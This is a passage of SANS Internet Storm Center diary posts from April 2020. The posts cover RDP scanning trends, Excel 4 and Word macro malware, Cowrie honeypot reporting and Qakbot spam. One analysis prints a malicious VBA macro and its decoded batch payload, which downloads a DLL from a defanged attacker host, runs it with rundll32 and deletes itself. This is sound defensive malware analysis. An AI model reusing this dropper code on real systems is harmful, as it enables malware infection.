However, this remains a cat-and-mouse game, where malware authors are constantly adjusting their malware in an attempt to escape detection.  With the low cost of distribution through email, and with poor security practices among potential victims, campaigns like those pushing ZLoader will remain cost-effective.  I expect we will continue to see ZLoader in the coming weeks and months.

The emails, pcaps, malware, and a list of the above IoCs are available here.


Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2020-04-07

Increase in RDP Scanning

Back in January, I published a post "Network Security Perspective on Coronavirus Preparedness." One of the items I pointed out was the need to plan for remote work, and how VPNs may present a resource constraint. As so often, some organizations ended up "winging it" last minute and ended up with less than optimal solutions.

At the end of March, Shodan posted that it had detected a marked increase in exposed RDP services [1]. The initially reported number was adjusted downward later, but there is still an increase in exposed RDP servers, which is attributed to organizations quickly enabling remote access.

Shodan RDP Ddata

RDP Exposure Measured by Shodan [1]

It should be noted that the initial, larger, increase in RDP exposure was due to the inclusion of IPv6. Some organizations may try to "hide" RDP on IPv6. But if Shodan can find you, so can the bad guys.

Services like RDP should not be exposed directly to the open Internet. If you do so, these services should be configured carefully. RDP has had several critical vulnerabilities in the past. One of the most common methods used to attack RDP services is various forms of password brute-forcing. Various underground web sites actively trade RDP passwords. RDP has had a rich history of vulnerabilities in the past. Patching RDP servers is critical.

Inspired by the Shodan post, I took a look at our data to see if we can detect an increase in scans for port 3389, the default RDP port. Port 3389 is a consistent "Top 10" port, and the Internet is saturated with RDP scans, which can make it challenging to detect change.

Selected Top 10 Reports

Selected Top 10 Ports

Investigating reports for RDP scans for the last few months, I noticed that the number of source IPs used to scan for port 3389 increased significantly. The increase in sources implies that the bad guys are investing more resources in scanning for port 3389.

For October through February, we saw about 2,600 source IPs scanning for port 3389 each day. In March, this number increased to 3,540, a significant increase (approx 5.5 std deviations).

sources scanning port 3389 last six months

Avg. Source IPs Scanning Port 3389 each day. Green bar: Std. Dev.

The increased interest in scanning port 3389 indicates that attackers are ready for some of the changes to network configurations as a result of increased remote access requirements. Sadly attackers do not give us a break. Instead, they are focusing on weaknesses that organizations are exposing now. Every single attack vector we have looked at these last few months has incorporated the Coronavirus crisis, and attackers are ruthless as usual in exploiting any weakness they can find.

For RDP: If you must expose it, please follow one of the guides to secure RDP. UC Berkley has a comprehensive and concise guide [2]. I fully understand that you may not be able to redesign your architecture right now. Substantial changes to remote access mechanisms always come with the risk of disconnecting yourself (yes, I have reconfigured VPNs while on the road, and luckily my wife was able to undo the damage I did to get me back in..).

Recognizing that coronavirus has caused organizations around the world to transition their workforce away from an office to the work-from-home environment and that many organizations lack the policies, resources, or training to enable their people to do so securely, SANS released the “Securely Working from Home” Deployment Kit on March 16. This free kit provides organizations with a step-by-step guide on how to rapidly deploy a training program for their remote staff. All training materials and resources necessary to secure a remote, multi-lingual workforce are included in the kit.

[1] https://blog.shodan.io/trends-in-internet-exposure/
[2] https://security.berkeley.edu/education-awareness/best-practices-how-tos/system-application-security/securing-remote-desktop-rdp

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute


Published: 2020-04-06

Password Protected Malicious Excel Files

We've been seeing quite some malicious Excel files with Excel 4 macros lately.

A variant we are observing now, is password protected Excel 4 maldocs, using the binary file format .xls (and not OOXML, .xlsm).

Password protected .xls files are not completely encrypted. Simply put: it's the data of the BIFF records that is encrypted, but not the record headers themselves.

A password protected .xls file has a FILEPASS record at the beginning of the workbook stream:

I updated my BIFF plugin (plugin_biff.py) to issue a warning when using option -x to filter for Excel 4 macros: since the data of the BOUNDSHEET records is encrypted, we can no longer detect that a sheet is an Excel 4 macro sheet or another type.

So when you see that an Excel sheet is password protected, you need to decrypt it to perform further analysis:

As the password is VelvetSweatshop, the user does not have to enter a password to decrypt the workbook upon opening.


Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2020-04-05

Maldoc XLS Invoice with Excel 4 Macros

This week I got an email claiming to be a YellowPages invoice with an XLS attachment containing an Excel 4.0 macro which has similarity to [1][2].

Using Didier's oledump.py tool, I checked the spreadsheet using plugin plugin_biff with option -x which show Excel 4 macros:

Next step will be to check for any embeded URL in this XLS document. I'm using plugin_biff's find option -f to see if any URL are embedded in this file:

Unfortunately the embedded URL http[:]]//fikima[.]com/axel[.]exe was taken down soon after receiving this email [3]. I checked Virustotal hash database [4] and there are no record this file was submitted before the domain was taken down. As a final step, I scanned the file with ClamAV with negative results.

[1] https://isc.sans.edu/forums/diary/Maldoc+Excel+40+Macros/24750/
[2] https://isc.sans.edu/forums/diary/Malicious+Spreadsheet+With+Data+Connection+and+Excel+4+Macros/25880/
[3] https://urlhaus.abuse.ch/url/332764
[4] d5bd8d4a3841d0e6d455ba244be1f4d5  760606.xls

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2020-04-04

New Bypass Technique or Corrupt Word Document?

I was taking a closer look at Xavier's Word document he analyzed in yesterday's diary entry: "Obfuscated with a Simple 0x0A".

I expected that the latest version of my zipdump tool would be able to handle this special ZIP file, but it didn't. After a bit of research, I discoverd that this Word document not only has one byte prefixed to it (a newline, 0x0A), but that it is also missing one byte at the end. That missing byte is part of the comment length field of the EOCD record.

If you have an idea what is going on here, please post a comment.


Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2020-04-03

Obfuscated with a Simple 0x0A

With the current Coronavirus pandemic, we continue to see more and more malicious activity around this topic. Today, we got a report from a reader who found a nice malicious Word document part of a Coronavirus phishing campaign. I don't know how the URL was distributed (probably via email) but the landing page is fake White House-themed page. So, probably targeting US citizens.

Here is a screenshot of the landing page:

The payload is delivered via POST HTTP request to the same URL:


The downloaded document is a Microsoft Word document called 'Information.doc' (SHA256:c36e0ef657bc2137d4ee13a97528e7a12d2ffe7b8dc2b54c92f123b3f61845a6) with a current VT[1] score of only 2/59!

But the file is not detected as a Word document based on its magic bytes:

remnux@remnux:/malwarezoo$ file Information.doc
Information.doc: data

The first character of the file is a simple 0x0A (a newline character):

remnux@remnux:/malwarezoo$ xxd Information.doc | head -5
0000000: 0a50 4b03 0414 0006 0008 0000 0021 0066  .PK..........!.f
0000010: 0745 3f8f 0100 00df 0500 0013 0008 025b  .E?............[
0000020: 436f 6e74 656e 745f 5479 7065 735d 2e78  Content_Types].x
0000030: 6d6c 20a2 0402 28a0 0002 0000 0000 0000  ml ...(.........
0000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................

This simple trick could prevent the file to be tested by some security solutions that base their analysis of the magic bytes. But it does not prevent Word to open the document like a normal one!

Let's have a look at the document, it's a standard one with a vbaProject.bin OLE file that contains macros. Let's unzip the Word document and check the macros:

remnux@remnux:/malwarezoo$ oledump.py vbaProject.bin 
  1:       666 'PROJECT'
  2:       167 'PROJECTwm'
  3:        97 'UserForm1/\x01CompObj'
  4:       293 'UserForm1/\x03VBFrame'
  5:       175 'UserForm1/f'
  6:     39472 'UserForm1/o'
  7: M   13213 'VBA/Module1'
  8: M    1463 'VBA/Module2'
  9: M    6275 'VBA/Module3'
 10: M    2882 'VBA/Module4'
 11: m     938 'VBA/ThisDocument'
 12: m    1210 'VBA/UserForm1'
 13:      5643 'VBA/_VBA_PROJECT'
 14:       925 'VBA/dir' 

The behavior is typical. The next stage is extracted from the form 'UserForm1', decoded and executed:

Function IhelpProc() As Boolean
    Dim record, record2, param1, param2 As String
    record = "c:\Datagui\"
    MakeSureDirectoryPathExists record
    param1 = UserForm1.Label2.Caption
    record2 = record & "scrpt" & ".bat"
    Dim Str1 As String, Val1 As Long
    Dim a, b As String
    Open record2 For Output As #1
    a = Mid(param1, 1, 1)
    b = Replace(param1, a, "")
    param2 = ConvertBytesToString(Base64Decode(b))    
    Print #1, param2
    Str1 = record2
    Close #1
    StartProcess Str1, 0, 0, 0    
End Function

The payload is located in UserForm1.Label2.Caption: (approx. 30KB)

I#M#C#W#R#i#Z#2#4#f#Q#2#h#s#H#0#N#x#b#m#h#j#Y#W#5#3#K#x#9#M#Y#H#N#i#Z#2#J#g# ...

Decoding is easy:

1. Remove the '#' character
2. Base64 decode
3. Decode by performing a ROT-1 :-)

This can be performed easily with a few lines of Python:

import base64
data = "#U#l#0#M#C#W#R#z#H#0#9#g#c#2#d#T#b#l#V#h#c#j#x#i#O#V#t#D#Y#H#N#g#Z#n#R#o#W#2#Z#0#a#G..."
decoded = base64.b64decode(data.replace("#", ""))
s = ""
for i in range(len(decoded)):
print s

Here is the decoded payload:

(Note: there was a lot of junk code and 'sleep' commands that I removed for better readability)

Set PathToVbs=c:\\Datagui\\guidep.vbs
echo Dim Droidbox, Matchcase, X, Y, Z, DbgHelp, TGF >> %PathToVbs%
echo On Error Resume Next >> %PathToVbs%
echo Set Droidbox = Wscript.Arguments >> %PathToVbs%
echo Set Matchcase = CreateObject("WinHttp.WinHtt" + "pRequest.5.1") >> %PathToVbs%
echo Z = Droidbox(0) >> %PathToVbs%
echo DbgHelp = Droidbox(1) >> %PathToVbs%
echo. >> %PathToVbs%
echo Matchcase.Open "GET", Z, False >> %PathToVbs%
echo Matchcase.Send >> %PathToVbs%
echo TGF = Matchcase.Status >> %PathToVbs%
echo. >> %PathToVbs%
echo If TGF ^<^> 200 Then >> %PathToVbs%
echo    WScript.Quit 1 >> %PathToVbs%
echo End If >> %PathToVbs%
echo. >> %PathToVbs%
echo Set Y = CreateObject("ADODB.Stream") >> %PathToVbs%
echo Y.Open >> %PathToVbs%
echo Y.Type = 1 >> %PathToVbs%
echo Y.Write Matchcase.ResponseBody >> %PathToVbs%
echo Y.Position = 0 >> %PathToVbs%
echo. >> %PathToVbs%
echo Set X = CreateObject("Scripting.FileSystemObject") >> %PathToVbs%
echo If X.FileExists(DbgHelp) Then X.DeleteFile DbgHelp >> %PathToVbs%
echo Y.SaveToFile DbgHelp >> %PathToVbs%
set httpSupp=hxxps://foodsgoodforliver[.]com/guide.dll
echo Y.Close >> %PathToVbs%
set helper=C:\\Datagui\\vgui.dll
cscript //nologo %PathToVbs% %httpSupp% %helper%
if exist %helper% goto nExt
goto theEnd

powershell -C Sleep -s 3;rundll32 %helper%, DllRegisterServer
TRACERT https://www.marketwatch.com/investing
del "%~f0" %PathToVbs%

I was not able to get the DLL file (HTTP 403 Forbidden). I tried via multiple User-Agent strings, multiple counties, no luck. If somebody has the file, feel free to share!

Right now, three domains have been identified hosting the fake White House page:

adeli-center[.]com (%%ip:
adsincomes[.]com (%%ip:
alsayeghb[.]com (%%ip:

Stay safe!

[1] https://www.virustotal.com/gui/file/c36e0ef657bc2137d4ee13a97528e7a12d2ffe7b8dc2b54c92f123b3f61845a6/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2020-04-02

TPOT's Cowrie to ISC Logs

Last year I did a post about a great tool; TPOT https://github.com/dtag-dev-sec/tpotce. In short, it is a collection of different honeypots put together by Docker and Elastic stack. I promised to cover setting up cowrie to report to SANS ISC, and here it is. If you are not familiar with Docker, this config would take a while to figure out. 


Copy the cowrie config from the Docker and store it on the host for persistence in /data/cowrie/config

# mkdir /data/cowrie/config

#docker cp cowrie:/home/cowrie/cowrie/cowrie.cfg /data/cowrie/config


Now we need to map the local folder where we are creating the custom config into the Docker so that it will use ours.


#vi /opt/tpot/etc/tpot.yml

Look for the section #Cowrie Service. Add the below in a similar section. 


    - /data/cowrie/config/cowrie.cfg:/home/cowrie/cowrie/cowrie.cfg


Then we need to enable the Dshield portion. You need to remove ‘#’ from the part starting with the plugin name. You’ll also need your account info.


To get your ISC Dshield key:

Log into ISC, go to My Accounts -> My reports. 

Select Update info, and you’ll see your auth_key.


#vi /data/cowrie/config/cowrie.cfg



enabled = true

userid = 0123456789

auth_key = mysuperawesomekeycode

batch_size = 100


Once you saved the changes, restart tpot.

#systemctl restart tpot



You use to be able to search for dshield in the logs to make sure it was working. In the current version the Docker is using, this is not working. I would still check the log for errors in /data/cowrie/log/cowrie.log.

The best way to check to make sure this is working is by going to https://isc.sans.edu/myreports.html. Check the last report section and see what the time stamp is. It may take a day to populate this data, so you might want to check the next day after setup. 


 ssh/kippo reports: 2020-03-28 17:54:12


Also dont forget about ISC own honeypot for Pi https://isc.sans.edu/honeypot.html



Tom Webb



Published: 2020-04-01

Qakbot malspam sent from an infected Windows host


Every once in a while, I'll see spambot-style traffic from the Windows hosts I infect in my lab environment.  On Tuesday 2020-03-31, this happened during a Qakbot infection.  I've covered examining Qakbot traffic before, but that didn't include examples of spambot emails sent from an infected Windows computer.  Today's diary provides a quick review of some email examples from spambot traffic by my Qakbot-infected lab host.

The traffic

A pcap of the traffic used for today's diary can be found here.  It's a short snippet of the malspam traffic sent from my Qakbot-infected lab host.  Use the Wireshark filter smtp.data.fragment as shown below to confirm there are emails we can export from the pcap.

Shown above:  Filtering on the pcap to see if any emails can be exported from the spambot traffic.

Once we've confirmed there are emails we can export from the pcap, use the menu path File --> Export Object --> IMF... to export these emails as shown below.

Shown above:  Exporting IMF (Internet Mail Format) objects from the pcap.

The exported emails

A quick review of the emails indicates the information was taken from an infected user's mailbox.  However, the recipients appear to be spoofed or malicious email addresses from old malspam circa 2013.  See the images below for details.

Shown above:  The recipient of this malspam appears to be a sender from an old fake Vodafone message.

Shown above:  The recipient of this malspam appears to be from an old Viagra-themed spam message.

Shown above:  The recipient of this malspam appears to be from an old fake Royal Mail message.

Shown above:  The recipient of this malspam appears to be from an old mailbox-themed phishing message from 2013.

Shown above:  The recipient of this malspam appears to be from an old DHL phishing message from 2013.

Shown above:  The recipient of this malspam appears to be from an old malicious email impersonating someone from Baidu Antivirus.

Shown above:  The recipient of this malspam appears to be from an old fake Amazon email from 2013.

Final words

Reviewing these emails, you should notice patterns in how they are structured and the URLs used to deliver the initial malware, a zip archive downloaded from the web.  The URLs I found from this Qakbot-related spambot traffic have all been submitted to URLhaus.

A pcap covering this snippet of Qakbot-related spambot traffic and the extracted 11 emails can be found here.


Brad Duncan
brad [at] malware-traffic-analysis.net